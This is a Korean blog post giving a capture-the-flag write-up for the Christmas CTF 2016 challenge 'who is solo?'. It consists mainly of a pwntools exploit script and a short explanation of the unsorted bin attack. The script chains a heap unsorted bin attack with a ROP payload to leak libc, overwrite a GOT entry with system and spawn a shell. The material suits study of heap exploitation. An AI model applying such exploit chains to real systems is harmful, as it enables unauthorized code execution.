Pwnable/CTF
크리스마스CTF 2016 who is solo?
HSr00t
2017. 8. 27. 04:25
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 | from pwn import * p=process("./solo") elf=ELF("./solo") def malloc(number,size,data): p.recvuntil('$ ') p.sendline("1") p.recvuntil('Number: ') p.sendline(str(number)) p.recvuntil('Size: ') p.sendline(str(size)) p.recvuntil('Data: ') p.sendline(data) def free(number): p.recvuntil('$ ') p.sendline("2") p.recvuntil('number: ') p.sendline(str(number)) def modify(data): p.recvuntil('$ ') p.sendline("201527") p.recvuntil('Data: ') p.send(data) def login_fun(pw): print p.recv(1024) p.sendline("4") print p.recv(1024) p.sendline(pw) def exit(): p.recv(1024) p.sendline("5") login = 0x602080 pop_rdi = 0x4008a0 pop_rsi = 0x400d11 malloc(1,256,"AAA") malloc(2,256,"BBB") free(1) modify(p64(0)+p64(login-0x10)) malloc(3,260,"CCCC") payload = "A"*1032 payload += p64(pop_rdi) payload += p64(elf.got['puts']) payload += p64(elf.plt['puts']) payload += p64(pop_rdi) payload += p64(0) payload += p64(pop_rsi) payload += p64(elf.got['free'])*2 payload += p64(elf.plt['read']) payload += p64(pop_rdi) payload += p64(0) payload += p64(pop_rsi) payload += p64(elf.bss()+0x100)*2 payload += p64(elf.plt['read']) payload += p64(pop_rdi) payload += p64(elf.bss()+0x100) payload += p64(elf.plt['free']) login_fun(payload) exit() puts = u64(p.recv(6)+"\00\00") base = puts - 0x6f690 system = base + 0x45390 binsh = system + 0x172017 print hex(puts) p.sendline(p64(system)) p.sendline("/bin/sh\00") p.interactive() | cs |
아주 예전에 heap 아무것도 몰랏을때 봤다가 포기했었던 문제였다.
지금보니까 간단한 문제였다.
unsorted bin attack 으로 bk쪽에 bk - 16 에 login 주소를 넣고
malloc를 하면
bk 포인터가 반환되면서 bk 쪽에 main_arena가 들어간다.
unsorted bin attack 기법 문제는 leak 할때나 특정 변수에 값을 넣어야되는 문제에 많이 쓰일 것 같다.
(how2heap unsorted bin attack)